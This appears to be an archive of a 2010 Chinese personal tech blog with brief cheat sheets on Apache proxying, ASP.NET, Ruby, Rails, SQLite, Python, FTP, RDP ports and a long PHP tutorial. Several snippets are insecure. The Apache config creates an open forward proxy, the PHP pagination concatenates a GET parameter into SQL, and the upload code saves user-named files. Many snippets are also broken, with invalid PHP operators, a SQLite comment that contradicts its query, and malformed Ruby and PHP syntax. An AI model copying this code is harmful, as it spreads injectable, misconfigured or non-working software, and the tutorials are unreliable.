12月 30, 2010

Apache Mod_proxy

config http.conf file

check Module has inculd Mod_proxy or Mod_proxy_http

set it!

ProxyRequests On
ProxyVia On
<Proxy your_apache_server_ip:8080>
Order deny,allow
Deny from all
Allow from all
</Proxy>

12月 22, 2010

無法辨認的屬性 'targetFramework'。

ASP.NET 為一種動態網頁語言,必需安裝 .Netframework 元件才能使 IIS Web 具備有執行 ASP.net 程式能力。但因安裝順序錯誤,使得 ASP.NET 沒有註冊因而無法執行,造成用戶端 (Client) 在執行 ASP.NET 程式時,所有點選的程式不會執行,反而被當成一般文件下載。

因此正確安裝方式是必須先安裝 IIS 程式後,才加裝 .Netframework 元件。才不會造成 ASP.Net 沒有在 IIS 註冊,而無法執行的窘境。倘若您不小心安裝順序出現錯誤,也可利用 ASP.Net IIS 註冊工具 -- aspnet_regiis.exe 在 IIS 中註冊 ASP.Net 解決此一問題。

作法:

• 找到 aspnet_regiis.exe 檔案的位置 , 可以對 windows 目錄作搜尋。
• 檔案所在的路徑會因為安裝的版本不同而異,下列路徑僅供參考: C:\WINDOWS\Microsoft.NET\Framework\版本編號\aspnet_regiis.exe
• 進入 dos 提示視窗模式,開始 a 執行 a cmd a 切換目錄到 .netframework 安裝目錄 ( 如作法 2 路徑 ) a 下 aspnet_regiis –i 指令,就會 重新註冊 ASP.Net 於 IIS 。
• 進入 dos 提示視窗模式,下 iisreset 指令重起 IIS 讓新的設定生效。

12月 18, 2010

Access restriction: The type NetworkInterface is not accessible due to restriction on required library

Windows -> Preferences -> Java -> Compiler -> Errors/Warnings -> Deprecated and trstricted API -> Forbidden reference (access rules): -> change to warning or Igone

12月 13, 2010

ruby簡易教程

=begin
多行註解
=end

字串輸出
puts "hello!" + "Matz" << "World!"
print "hello!" + "Matz" << "World!"
printf "hello!" + "Matz" << "World!"
puts "hello","world!" #會段行
倍乘輸出
puts "hello" * 3 + "world!"
5.times{ print "hello!" } #無段行
5.times{ puts "hello!" } #有段行

附上shell指令
puts "hello!" + `ruby --version` #是用鍵盤TAB上面的重音記號

系統指令
system "echo hello"
exec "hello"//結束後離開視窗

變數宣告
hi = "HEllo!"
puts hi

字串插入已宣告的變數-表達式替換
hi = "world!"
puts "hello ,#{hi}" #將已宣告變數包在#{ }
puts "hello ,#{args[0]}" #引數也行
hi.to_sym #=> :hi #轉為符號
格式化字串
a = "hello,%s"
puts a % "world!"
"%s,%s!" % ["hello","world!"] #字串可以一起和%s放在一起!

eval 和 -e
eval "puts 'hello!'"
ruby -e "puts 'hello!'"
ruby -e "print 'hello,'" -e "puts 'world!'" //前面第一組-e 改用puts會段行
ruby -e "three = 3";puts 'matz!' * three"

取得鍵盤輸入
a = gets
puts "hello!," + a

方法的宣告

def a #如果用undef會解除此方法,或是def a(*args)可動態傳送引數的數量或是def a(&proc)即時將區塊轉為物件
puts "hello!"
end
def b(word,times) #也可指派引述預設值b(word="aaa",times = 3)
puts word * times
end
a #呼叫方法,也可用return
def cat_name = (cat) #可以將方法做指派,譬如實例變數
@cat_name = cat
end

區塊結構-重新定義方法
def a
yield #這是陳述式
end
a { puts "hello!"}

使用each列出陣列中的元素
["hello!,","world!"].each { |e| print e }
#{}是do/end的省略方式,||是區塊

#使用lambda方法並用prc轉換為物件
prc = lambda{ |name| puts "hello," + name }
myprc = proc { puts "hi" }
count = proc.new { [1,2,3].each do |i| print i end: puts}
呼叫物件
prc.call "world!"
myprc.call
count.call
攝取XML檔
#建立一個XML檔,檔名為matz.xml內容如下
matz!

#!/usr/bin/env ruby
require "rexml/document"

file = file.new("matz.xml")
doc = REXML::Document.new file
puts doc.to_s

建立類別
class a
#裡面放程式
def initialize(name)
@name = name
end
def hi
puts "hello!"
end
end
獨立成a.rb並使用
world = a.new("hello!")
world.hi

類別的繼承
class b
#略
end
class a < b #a會繼承b

end

多行註解
=begin

=end

x.kind_of? #判斷目前的型別,結尾?會回傳true或false,!會具備破壞性
x.to_f #轉型為浮點數

#區域變數用小寫字母或_為字首宣告,大寫會視為常數且值可改
$x = "0.00" #全域變數
@x = x #實例變數,只透過accessor方法
@@x = 0 #類別變數
a,b,c = "cash", 1.99, 20 #平行賦值

x = "abcdefg"
x[2..4] #從第2到第4個字0為起始
x[-5..-3] #倒數過來-1為起始

條件陳述式
c = 0
if c.zero? then
puts "c is zero!"
end
if 1 == 1 then
puts "true"
end
puts "x equals 0" if c == 0
if c ==0:puts "c equals 0" end
if pr #預設為True

if lang == :es:puts "dog"
elsif lang == :gt:puts "cat"
else puts "nothing!" #:不可接再else後面
end
#and, or,not是邏輯運算子可檢查多項! unless則判斷是否為false

三元運算子
label = length == 1 ? "true" : "false"
#如果length是1就會true反之false也

多選條件陳述式
lang = :en

dog = case lang
when :et: "dog"
when :en: "cat"
else "nothing"
end

陣列與雜湊
dd = ["hi",22,33] #宣告陣列
dd[0] #呼叫
gg = {"aa" => "aaaaa", "bb" => "bbbbb"}
gg["aa"] #會出現aaaaa
num = array(0..9)#創造1~9的陣列
s = %w[how are you]#字串陣列
last[-1]#取得最後一個陣列元素
陣列集合運算
陣列 & 陣列
&交集
-差集
|聯集


例外處理
begin

rescue

ensure

迴圈
while i < 2

end

begin
#第一次一定會執行,until則是false才執行
do while i < 2

loop do #無窮迴圈
puts "hi"
end

not版流程控制
if x==2
puts "hi"
end
unless x==2
puts "hi"
end

until x==2 do
puts "hi"
end


for i in 1..5 do puts "hi" end
5.times{|i| puts i}
1.upto(10){|i| puts i }
5.downto(1){|i| puts i}#後面開始

在程式前後加料
begin{#加料}
#略
end{#加料}

即席文件字串
sunny = << 29
#略,也能用-29達到縮排效果
29
(1..25) === 14 #判斷14是不是範圍
(1...25) === 14 #不包含25
nu = Range.new(1,9)
nu.to_a #建立1~9陣列

sleep 1是每隔1秒

get&set
#一般寫法
def bark
@bark
end
def bark=(val)
@bark = val
end
class dog
attr :bark true #一行搞定= ="
end

類別方法的宣告
class dog
def dog.rr(i)
puts i
end
end

模組
module aaa
def aaa.roll(num)#也可不加aaa

end
end
用法
class bbb
include aaa
end
g = bbb.new
g.roll

12月 12, 2010

ruby on rails

InstantRails #整合安裝包
開啟ruby cmd
rails 網站名稱 --database=mysql#在指定目錄下創立一個rails網站
ruby script/server #預覽
#在app底下的controllers是控制器
#在app底下的models是模型
#在app底下的views是視圖 他會尋找控制器名稱底下與方法action名稱相同的rhtml檔案
ruby script/generate controller say #創建控制器
#在views的rhtml底下崁入程式碼可以用<% %>和<%= %> 其中-%>可以刪出新空行<%=會輸出程式結果
#<%= h("字串") %> h方法可以輸出成html字串
#<%= link_to "頁面名稱",:action => 方法名稱 %> 超連結方法
#mysqladmin -u root create db 創建資料庫
#在config底下的database.yml中設定資料庫連結設定
db:
adapter: mysql
database: sadb
username: root
password:
host: localhost
#rake db:migrate可以測試連結是否成功
#ruby script/generate scaffold fig name:string email:string
#rake db:migrate 處理新增的變動
ruby script/generate model prog 創建資料模型

12月 11, 2010

SQLite 教學

* 1 建立資料庫檔案
* 2 在sqlite3提示列下操作
* 3 SQL的指令格式
* 4 建立資料表
* 5 建立索引
* 6 加入一筆資料
* 7 查詢資料
* 8 如何更改或刪除資料
* 9 其他sqlite的特別用法
* 10 小結

建立資料庫檔案

用sqlite3建立資料庫的方法很簡單,只要在shell下鍵入(以下$符號為shell提示號,請勿鍵入):

$ sqlite3 foo.db3

如果目錄下沒有foo.db3,sqlite3就會建立這個資料庫。sqlite3並沒有強制資料庫檔名要怎麼取,因此如果你喜歡,也可以取個例如foo.icannameitwhateverilike的檔名。

在sqlite3提示列下操作

進入了sqlite3之後,會看到以下文字:

SQLite version 3.1.3
Enter ".help" for instructions
sqlite>

這時如果使用.help可 以取得求助,.quit則是離開(請注意:不是quit)

SQL的指令格式

所有的SQL指令都是以分號(;)結尾的。如果遇到兩個減號(--)則代表註解,sqlite3會略過去。

建立資料表

假設我們要建一個名叫film的資料表,只要鍵入以下指令就可以了:

create table film(title, length, year, starring);

這樣我們就建立了一個名叫film的資料表,裡面有name、length、year、starring四個欄位。

這個create table指令的語法為:

create table table_name(field1, field2, field3, ...);

table_name是資料表的名稱,fieldx則是欄位的名字。sqlite3與許多SQL資料庫軟體不同的是,它不在乎欄位屬於哪一種資料型態:sqlite3的欄位可以儲存任何東西:文字、數字、大量文字(blob),它會在適時自動轉換。

建立索引

如果資料表有相當多的資料,我們便會建立索引來加快速度。好比說:

create index film_title_index on film(title);

意思是針對film資料表的title欄位,建立一個名叫film_title_index的索引。這個指令的語法為

create index index_name on table_name(field_to_be_indexed);

一旦建立了索引,sqlite3會在針對該欄位作查詢時,自動使用該索引。這一切的操作都是在幕後自動發生的,無須使用者特別指令。

加入一筆資料

接下來我們要加入資料了,加入的方法為使用insert into指令,語法為:

insert into table_name values(data1, data2, data3, ...);

例如我們可以加入

insert into film values ('Silence of the Lambs, The', 118, 1991, 'Jodie Foster');
insert into film values ('Contact', 153, 1997, 'Jodie Foster');
insert into film values ('Crouching Tiger, Hidden Dragon', 120, 2000, 'Yun-Fat Chow');
insert into film values ('Hours, The', 114, 2002, 'Nicole Kidman');

如果該欄位沒有資料,我們可以填NULL。



查詢資料

講到這裡,我們終於要開始介紹SQL最強大的select指令了。我們首先簡單介紹select的基本句型:

select columns from table_name where expression;

最常見的用法,當然是倒出所有資料庫的內容:

select * from film;

如果資料太多了,我們或許會想限制筆數:

select * from film limit 10;

或是年份比較早的電影先列出來(預設為 asc):

select * from film order by year limit 10;

或是年份比較晚的電影先列出來:

select * from film order by year desc limit 10;

或是我們只想看電影名稱跟年份:

select title, year from film order by year desc limit 10;

查所有茱蒂佛斯特演過的電影:

select * from film where starring='Jodie Foster';

查所有演員名字開頭叫茱蒂的電影('%'、'_' 符號便是 SQL 的萬用字元,前者代表任意長度字元,後者代表任意一個字元):

select * from film where starring like 'Jodie%';

查所有演員名字以茱蒂開頭、年份晚於1985年、年份晚的優先列出、最多十筆,只列出電影名稱和年份:

select title, year from film where starring like 'Jodie%' and year >= 1985 order by year desc limit 10;

有時候我們只想知道資料庫一共有多少筆資料:

select count(*) from film;

有時候我們只想知道1985年以後的電影有幾部:

select count(*) from film where year >= 1985;

(進一步的各種組合,要去看SQL專書,不過你大概已經知道SQL為什麼這麼流行了:這種語言允許你將各種查詢條件組合在一起──而我們還沒提到「跨資料庫的聯合查詢」呢!)
[編輯]
如何更改或刪除資料

瞭解select的用法非常重要,因為要在sqlite更改或刪除一筆資料,也是靠同樣的語法。

例如有一筆資料的名字打錯了:

update film set starring='Jodie Foster' where starring='Jodee Foster';

就會把主角欄位裡,被打成'Jodee Foster'的那筆(或多筆)資料,改回成Jodie Foster。

delete from film where year > 1970;

就會刪除所有年代早於1970年(不含)的電影了。



其他sqlite的特別用法

sqlite可以在shell底下直接執行命令:

sqlite3 film.db "select * from film;"

輸出 HTML 表格:

sqlite3 -html film.db "select * from film;"

將資料庫「倒出來」:

sqlite3 film.db ".dump" > output.sql

利用輸出的資料,建立一個一模一樣的資料庫(加上以上指令,就是標準的SQL資料庫備份了):

sqlite3 film.db < output.sql

在大量插入資料時,你可能會需要先打這個指令:

begin;

插入完資料後要記得打這個指令,資料才會寫進資料庫中:

commit;

12月 10, 2010

簡易Python入門

import 載入模組
_ + X #_可以保留最後一次的計算結果
註解
#單行
'''aa'''多行
"""aa"""多行
強制縮排
print("A","B",sep="|") => A|B
print(1+int("1")) => 轉型
執行方式在CMD
C:\>python name.py
Linux
#!/usr/bin/python 不用管副檔名

宣告路徑和編碼
#!c:\python26\python
#coding=utf-8

變數宣告-#有區分大小寫
x = "apple"
x=x[:4]+"y" => apply #改最後一個字
d = none #空值
i,j=1,2
del x #刪除變數也能刪除物件的屬性和方法 del o.fun()

global x #全域變數

運算子
+-*/
x//y #求商數
x%y #求餘數
X**3 #x的3次方

True False
== or and not
!= <>
is , is not #比較物件型態與值

python的三元運算
z = x > y and 1 or 2

流程控制
if X > 2:
else:
elif #其實是else if

for i in range(1,10): #也可直接range(10) 建議用xrange()比較不消耗記憶體
while X>10:

無限迴圈
while True or 1:
while False or 0:
while not 1==1:

Python 的 DO WHILE
while True:
if :
break #一樣有break和continue

擷取字串
i = 1234567
str(i)[1:5] = > 2345


方法
def sun(x,y):
return x+y

def sun(x=1,y=2):

呼叫方法
sun(5,6)
sun()

陣列
c = [1,2,3]
c * 2 => 123123
c[1] = c[3] = 0

類別

class aaa:
用法
o = aaa() #等於宣告物件

類別方法
class ss:
count = 100
def fun(self,gg)
return "hi",gg
用法
o = ss()
ss.fun("jack") => hi jack

建構子
class init:
def __init__(self,x=none):
self.x=x #前面+self是表示宣告全域變數 也可以用類別名稱 init.x來用
self.total=100

繼承
class child(father繼承物件名稱): #python也支援多承繼承 所以可以 class child(father1,father2):
#要注意的是多承繼承如果遇到同名稱的屬性和方法會以繼承順序來決定

#在子類別使用父類別的屬性和方法
father.x
father.fun(self)

呼叫物件中的多個類別
class group:

class a:
def funA(self):
class b:
def funB(self):
用法
group = group()
group.a().funA()
group.b().funB()

#另外子類別可以複寫父類別的屬性和方法

限定繼承

class gg:
__num = 5
def ff(self):
self.__tt = 10 #加上__等於私有,子類別無法繼承

#但是還是能呼叫私有變數
obj = gg()
obj._gg__num


#python也理所當然支援多載

例外處理
try:

except Exception:

try:

finally: #無條件進入

完整版用法
try:

except:
pass #略過 可以這樣用
else:

finally:

12月 09, 2010

FTP傳輸模式

基本觀念

使用 FTP 傳輸時,至少會使用到兩個 Port 來建立連線通道:

一個為指令通道(Command Channel),預設使用 Port 21 建立連線,用來傳輸 FTP 指令,例如:列出檔案清單(LIST)、變更目錄(CWD)、取得目前的目錄(PWD)、......等。
另一個為資料通道(DATA Channel),預設使用 Port 20,但是會因 FTP Client 選擇使用的「連線模式」不同而有所不同。

FTP Client (e.g. FileZilla) 每次建立連線時都會下 PORT 或 PASV 指令,如下範例:

指令: PASV
回應: 227 Entering Passive Mode (59,37,124,43,158,251)
而每次下指令傳輸資料時,都會建立一次 data connection,包括取得遠端的檔案清單(LIST)時回傳的檔案列表、下載檔案、或上傳檔案。

連線模式

FTP 的連線模式分兩種:主動模式 ( Active mode ) 與 被動模式 ( Passive mode )

主動模式 ( Active mode )
FTP Client 跟 FTP Server 連線後,會主動利用 PORT 指令提出 DATA Channel 連線的要求,如下:

指令: PORT 10,18,53,171,17,114
回應: 200 Port command successful.

這裡的 PORT 指令是由 FTP Client 送出的,當需要建立 DATA Channel 時,FTP Server 會主動利用 Server 主機的 Port 20 發出連線到 FTP Client 的主機,而 PORT 指令後的參數說明如下:

前四個數字是 FTP Client 的 IP 位址:10.18.53.171
後兩個數字是 FTP Client 接受連線的 Port 埠號,埠號的計算方式是 (第五個數字 * 256 + 第六個數字),以此範例來說,FTP Client 接受的連線埠號是 17 * 256 + 114 = 4,466
由此可知,如果 FTP Client 處於 NAT 的環境下的話,FTP Server 幾乎無法正常的連線到 FTP Client 的主機,所以現在大部分的連線模式幾乎都建議使用者使用被動模式(Passive mode)。

被動模式 ( Passive mode )
FTP Client 跟 FTP Server 連線後,會主動利用 PASV 指令提出 DATA Channel 連線的要求,如下:

指令: PASV
回應: 227 Entering Passive Mode (59,37,124,43,158,251)

你可以看到由 FTP Client 送出的 PASV 指令並沒有送出其他的參數,而是在 FTP Server 回應的時候出現了 (59,37,124,43,158,251) 字串,當需要建立 DATA Channel 時,這時就會由 FTP Client 主動連接至 FTP Server 動態開放的 Port 供 FTP Client 連接,其中 (59,37,124,43,158,251) 的說明如下:

前四個數字是 FTP Server 的 IP 位址:59.37.124.43
後兩個數字是 FTP Server 接受連線的 Port 埠號,埠號的計算方式是 (第五個數字 * 256 + 第六個數字),以此範例來說,FTP Server 可接受的連線埠號是 158 * 256 + 251 = 40,699
由此可知,使用被動模式(Passive mode)對 FTP Server 的系統管理員來說,可掌控的部分是比較多的,因為 FTP Server 無法決定使用者是否可使用主動模式連線,但若改使用被動模式連線的話,就幾乎能讓所有人正常的使用 FTP 服務。

12月 05, 2010

html

%5c注入法
%2f /
%3f ?
%3d =
%26 &
%20 空白鍵

11月 27, 2010

修改預設埠『3389』埠

『遠端桌面』開啟編號3389的連接埠,很容易被黑客利用Port Scan一類偵破而侵入

Windows XP『遠端桌面』功能預設以編號3389連接埠作訊息傳輸,但可因應需要而進行修改︰啟動Regedit,到路徑HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp中DWORD值PortNumber,把數值由3389改為任何的數值便可,然後重新開機。

11月 26, 2010

移除XP資源回收筒

開始-執行-gpedit.msc
使用者設定的系統管理範本
桌面裡面選相..
點從桌面移除"資源回收統"圖示進去選擇已啟用
就可以讓它移除
還有很多東西都可以再這邊設定

11月 25, 2010

php大全

<?php
#單行註解
//也是註解
/*變數宣告跟方法和類別名稱有區分大小寫
變數可用_開頭但不能用數字和中文
*/
$a與$A不同
$id =2;
$uu = 2+3*9;
$gg = "hi";
$tt = true;
只要在方法內的變數就是區域變數
在方法之外的都是全域變數
static $msg; //此為靜態變數且不會消失


global $msg = "hh";
$GLOBALS['msg'] = "hh";// 這2種方法皆能將區域變數轉為全域變數
echo $msg.$GLOBALS['msg'];


$_SESSION
$_FILES
$_REQUEST
//常數
define (PI,3.14,True)//True是否區分大小寫
echo "HI"//輸出內容
$n1 = 10
$n2 = 010 //8進位
$n3 = 0x10 //16進位
/*字串表示建議用""否則使用''可能需要用到跳脫字元\'
來表示'和\符號
而且''會將變數視為字串
而""會視為變數
定界符號法
$string = <<<msg-<自訂名稱
此內容可存放任何符號
msg;
echo $string;
自訂名稱頭和結尾的該行不能有任何字元且包括空白字元
*/
echo $a.$b //連結不是用+和&而是用.
可用$a+=1和
$i++
$i--
比較運算子
$a == $b //2者相等成立
=== //2者相等且型別相同成立 使法用於數值跟字串比較時會回傳False
!== //不等於
!=== //同上且型別不同成立
<=<和>=>


條件運算子
簡短結構法
$a =2;
$b = ($a>0)?"正數":"負數";


邏輯運算子有and && 和 or ||和xor和!$a表示相反
&& ||優先於and or
$error = @hhh //@可以隱藏錯誤訊息
指令運算子
$myip = `ping google.tw`
echo nl2br($myip);//nl2br()回將結果分行輸出
須注意php.ini的safe_mode = on才能執行


表單資料傳送
<form method="POST" action="form1.php">
請輸入姓名:<input type="text" name="username">
<input type="submit" value="送出資料">
</form>
method="POST" 和 "GET" //GET為預設且只支援ASCII
GET是使用參數傳遞
POST是使用HTTP標頭的封包傳遞
使用GET就必須用$_GET["欄位名稱"]去接值
使用POST就必須用$_POST["欄位名稱"]去接值


接收複數值的用法
<select name="item[]" //這邊加入[]表示用陣列>
</select>
接收頁就用
foreach($_GET["item"] as $value){
 echo $value."<br />"
}


模組式開發
定義add.php
fubction add($a,$b){
 $result = $a+$b;
 return $result;
}
接著在別頁
include "add.php";
echo add(5,3);
require "add.php";
echo add(5,3);


include 會回傳值且會發生錯誤會繼續執行//適合在迴圈中使用
require 不會回傳值且發生錯誤會中斷//頻率高建議用
另外建議用include_once與require_once可避免重複載入問題
引入檔的名稱雖可用其他副檔名但還是建議用php
引入檔案的路徑問題則是以引入該檔案的頁面路徑為主
不必在意引入檔的位置


流程控制


if () echo"hi";
if (){ }else{ }
if () { }elseif(){ }else{ }


switch ($a = "dog"){
case "dog":
echo "YES";
break; //中斷並跳出
case "cat":
echo "NO";
continue; //略過並繼續
default:
echo "完成!";
}


迴圈


while($a<10){$a++;echo $a."nbsp;";}//可輸出1到10
先執行一次
do{
}while()


for($i=1;$i<10;$i++){


}


函式也叫做方法


function name($rr = 0,$tt = 0){//另外方法內的參數需要有預設值
 echo "hi".$rr;
 return $tt;
}
aa();
或aa($b,$gg);
或先$tt = 99;
aa($tt);
傳址呼叫需在變數前加上&
譬如aa(&$tt);
則$tt的值會跟著改變


方法的多載


function showdata(){
$i=func_num_args(); //取得參數個數
if($i==0){ echo "no data";
}else{
echo "有這些資料";
$data = func_get_args(); //將參數陣列化
 foreach ($data as $value){echo $value;}
 }
}else{ echo "最後一筆為:".func_get_arg($i-1);} //取得最後一個參數
}


可變動函式-利用變數來呼叫方法
function text(){echo "hi";}
$YY = "text";//字串名稱必須跟方法名稱相同
$YY();//呼叫text();
要檢查方法是否存在用function_exists($YY)


遞迴觀念
function show($num){
 if($num == 0){
    return 1;
 }else{
    return $num * show($num-1);  
 }
}
show(5);
遇到return 5 * show(5-1)時先計算show(5-1)也就是show($num-1)的方法
會計算的地方如下
當show(5-1)會跑到show(4-1)在跑到show(3-1)和show(2-1)跟show(1-1)
注意此時show(1-1)已經為0
於是回到
show(2-1)
他的return 2 * 1 //<--變成2 * 1
然後跑回show(3-1)
return 3 * 2 //<--變成6
再跑回show(4-1)
return 4 * 6 //<--變成24
再跑回原本的show(5-1)
return 5 * 24 //=120
懂了嗎??麻煩的遞迴= ="
rand(0,5);//隨機亂數從0~5
其他方法請參考php官方網站


使用mail()方法寄信
首先請設定php.ini
找到[mail function]
;for win32 only.
smtp = localhost //設定位址
smtp_port = 25 //port號
範例
mail("x@x.xx.com.tw","標題","內容");
其他上網查...


頁面重新導向
header("Location: http://google.tw");//轉向指定網站
頁面重整
header("Refresh: 5");//表示5秒重整一次
設定編碼方式
header("Content-type: text/html; charset=utf-8");


錯誤訊息
die("錯誤");
exit("錯誤");//失敗時出現錯誤訊息...=try catch
延遲方式
sleep(10);//延遲10秒
isset($a);//測試變數是否存在
unset($a);//刪除定義的變數


php的陣列不需要事先宣告且能容許不同的資料型別
所以可以直接這要使用
$a[] = 1; //等於$a[0] = 1;
$a[] = 2; //等於$a[1] = 2;
若是
$b[5] = 1;
$b[] = 2; //等於$b[6] = 2;
$b[] = 3; //等於$b[7] = 3;
也可以不照順序指定索引
$c[] = 1; //等於$c[0] = 1;
$c[] = 2; //等於$c[1] = 2;
$c[5] = 3;
$c[7] = 4;
強大的字串陣列
$d['name'] = "jack";
$d['age'] = 17;
echo "姓名是.{$d['name']}";//字串中必須加上大括號且不可有空白
否則請拆開來用"姓名是".$d['name']
短碼陣列法
$my = array(1,2,3);//等於宣告$my[0]=1 & $my[1]=2 & $my[2]=3
$my2 = array(2=>1,2,5=>3,7=>4);//等於宣告如下
$my[2]=1;
$my[3]=2;
$my[5]=3;
$my[7]=4;
字串陣列短碼
$std = array("name"=>"jack","age"=>17);等於如下
$std['name'] = "jack";
$std['age'] = 17;
二維陣列
$std = array(0=>array(0=>1,1=>2),'name'=>array(0=>'jack','age'=>17));
一維陣列崁入法
$std1=array(78,88,99);
$std2=array(44,55,66);
$s=array($std1,$std2);//變成2維陣列了
依序取用陣列
foreach (陣列名稱 as $value){內容}
取用陣列個數
$num=count(陣列名稱);
叫出索引值法
foreach(陣列名稱 as $index => $value){}
顯示陣列
print_r()//只能1個
var_dump()//可多個
is_array()//判斷是否是陣列
array_count_values()//判斷元素的重複次數
array_sum()//加總陣列
htmlspecialchars($ff);//輸出成HTML
取得日期
getdate()
date("Y-m-d H:i:s")
gmdate()//依據格林威治


檔案處理
$_SERVER["PHP_SELF"]//取得目前網頁的相對路徑
$_SERVER["SCRIPT_FILENAME"]//取得目前網頁的絕對路徑
realpath(相對路徑)//取得絕對路徑
dirname()//取得檔案路徑不包括檔名
basename(__FILE__)//目前檔名-__FILE__是預設常數表示目前執行文件的檔名
basename(__FILE__ ,php)可去除副檔名
路徑資訊
pathinfo(路徑,PATHINFO_DIRNAME)//路徑
pathinfo(路徑,PATHINFO_BASENAME)//檔名+副檔名
pathinfo(路徑,PATHINFO_EXTENSION)//副檔名
pathinfo(路徑,PATHINFO_FILENAME)//檔名


檔案上傳法
修改php.ini
file_upload = On
upload_tmp_dir = 暫存路徑
upload_max_filesize = 8M
<form action="要處裡的php" method="post" enctype="multipart/form-data">
<input type="file" name="fileupload">
<input type="submit" value="送出資料">
</form>
if($_FILE["欄位名稱fileupload"]["error"]==0){
  if(move_uploaded_file($_FILES["fileupload"]["tmp_name"],"./".$FILES["fileupload"]["name"])){
 echo 'succes'
 echo $_FILES["fileupload"]["name"]
  }
}
多檔案上傳法
<input type="file" name="up[]">
$i=count($_FILES["up"]["name"]);
for($j=0;$j<$i;$j++){
    if($_FILEs["up"]["error"][$j]==0){
 if(move_uploaded_file($_FILES["up"]["tmp_name"][$j],"./".$_FILES["up"]["name"][$j]."good"))
    }else{
 echo 'error!'
    }
}
設定cookie
setcookie("名稱",'內容',time()+3600)//只有1小時或用
setcookie('gg','yy',strtotime("2008-12-13-23-59-10"))
$_COOKIE["名稱"]
也可用陣列
setcookie("ggg[0]",1)
setcookie("ggg[1]",'jack')
$_COOKIE["ggg"][0]
設定session
只要任何一頁有用到都必須先session_start();
$_session["name"] = "jack";
陣列版
$_session["gg"][0] = 1
$_session["gg"][1] = 2
unset($_session[名稱])//刪除此session
session_unset()//刪除所有session
php.ini改session有效時間預設24分鐘
session.gc_maxlifetime = 1440 24個1分鐘 * 60秒


物件化
class aaa{
var $a = 0;
var $b;
function b(){
}
function __construct(){//建構方法 任何初始化都會先執行的方法}
}
$abc =new aaa;
$abc->b = 9;
$abc->b();
物件參數化


class rrr{
 var $a;
 var $b;
function set($id,$name){
$this->a = $id;
$this->b = $name;}
function __construct($aa){//建構方法帶參數
 echo $aa."你好!";
}
function __destruct(){//解構方法會在結束後執行不可帶參數
echo 'end';
}
}


$std = new rrr;
$std->set("gg","bb");


$std1 = new rrr('jack');//帶參數叫用
$std1 = null;//要刪除才會執行解構方法


類別靜態成員和方法
class ttt{
static public $id = 10;
static function show(){
}
static function show($id){
echo $id."hi";
}
}
用法:
ttt::$id;
ttt::show();
ttt::show("jack");


類別常數
const pi=3.14; //要注意不加$
用法:
同類別
self::pi
不同類別
ttt::pi


繼承:
class child extends father{}
如此一來
child類別可以用$this->加上父類別具有public和protected的屬性和方法去使用


複寫會以子類別為主
所以同名稱的方法經由子類別重新定義後會以子類別為主
然而父類別的方法和成員依然存在
此時要用到父類別的成員或方法可以用
parent::$id;
parent::show();


MYSQL資料庫基礎
資料庫編碼請以utf8_unicode_ci為準
型別以int跟double為主
文字以varchar為主
時間以datetime為主
NOW()日期函數
count(*)計次


group by 非統計欄位都必須加入才行
having //如果在group by之後需要條件式就不能用where要用having


多資料表查詢
不用join法的前提是2個資料表必須要有共同的欄位內容做關聯
select *
from tableA,TableB
where TableA.相關欄位 = TableB.相關欄位
使用join
select *
from a inner join b
on a.colume = b.colume
或是
select *
from a inner join b
using [colume]


限制查詢筆數
select *
from table
order by id
limit 0,5 //開始顯示的筆數是0可以省略,要顯示的筆數

PHP連線MYSQL


mysql_connect(mysql位址,帳號,密碼)EX:
mysql_connect("localhost","root","1234")
$db = mysql_connect("192.168.0.55","root","1234")
if(!$db){失敗}else{成功}
程式碼執行完便會自動mysql_close()
mysql_pconnect("192.168.0.55","root","1234")
會一直連線且不能用mysql_close()
好處是會檢查連線是否存在而不會重複開啟連線
加入@可以避免錯誤訊息顯示
die()可以終止後面的程式繼續執行
字元編碼統一宣告必須在資料庫連線後
mysql_query("SET NAMES utf8");
設計引入檔
<?php
$db  = @mysql_connect("192.168.5.5","root","1234");
if(!$db) die("連線失敗");
mysql_query("SET NAMES utf8");
@mysql_select_db("資料庫名稱")
?>
接著傳入SQL語句
$result = mysql_query("select * from `tableA`");
$result = mysql_db_query(資料庫名稱,"select * from `tableA`");//不同資料庫時用
取得資料-整數為索引
while($row_result=mysql_fetch_row($result)){
 foreach($row_result as $item=>$value){
 each $item.$value
 }
}
欄位為索引
mysql_fetch_assoc($result);
$row_result["name"]
陣列法
mysql_fetch_array($result);
$row_result[0][1]
$row_result["name"][1]


mysql_num_rows($result);//查資料筆數
指標紀錄
mysql_data_seek($result,4);
$row_result=mysql_fetch_array($result);
只會顯示第5筆資料


分頁程式


$page = 3;//每頁比數
$dpage = 1; //預設頁數
if(isset($_GET['page'])){
$dpage = $_GET['page'];
}
//紀錄比數
$spage = ($dpage - 1) * $page;
$sql_query = "select * from db";
$sql_query_limit = $sql_query."LIMIT ".$spage.$page;
$result = mysql_query($sql_query_limit);


$allresult = mysql_query($sql_query);


$total=mysql_num_rows($allresult);
$totalpage=ceil($total/$page);


<table border="1" align="center">
<tr>
<th>欄位名稱</th>
</tr>
<?php
while($row_result=mysql_fetch_assoc($result)){
echo "<tr>";
echo "<td>".$row_result["欄位名稱"]."</td>";
echo "<td><a href='update.php?id=".$row_result["欄位名稱"].">修改</a></td></tr>";
}
?>
<?php
if(dpage>1){
<td><a href="data.php?page=1">第一頁</a></td>
<td><a href="data.php?page=<? echo $dpage-1; ?>">上一頁</a></td>
if($dpage<$totalpage){
<td><a href="data.php?page=<? echo $dpage+1; ?>">下一頁</a></td>
<td><a href="data.php?page=<? echo $totalpage; ?>">最後一頁</a></td>


}
?>
頁數
<?
<td>
for($i=1;$i<=$totalpages;$i++){
if($i==$dpage){
echo $i." ";
}else{
echo "<a href=\"data.php?page=$i\">$i</a>";
}
}
</td>
?>
</table>


?>


 

11月 24, 2010

register_globals於PHP6後不支援之排除法

在最近升級PHP至5.3後,發現都會有一個警告


Warning: Directive register_globals is deprecated in PHP 5.3 and greater in Unknown on line 0


去查了一下才知,原來PHP 中最具爭議的變化就是從 PHP 4.2.0 版開始配置檔中 register_globals 的預設值從 on 改為 off 了,而在5.3版本後就會顯示警告,但還是能開啟使用,但在PHP 6 之後就會全面停用。

哈~因為有register_globals,所以小弟覺得各家程式語言之中,PHP最強大,因為程式隨便寫都能執行~^^||
也可以設定成不用接參數,到了下一頁自動會轉成變數,這對開發者來說是省了不少功夫,不過也是因為如此,所以程式就不夠嚴謹,而且還會有安全性的問題,所以還是乖乖使用比較正統的方式寫CODE 吧 ~><~

註:如果想知道為何會不安全,請看以下連結說明:


http://por.tw/Website_Design/PHP5/security.globals.html

除了 register_globals之外,當然也還有幾個參數也準備廢除,如下:


register_long_arrays
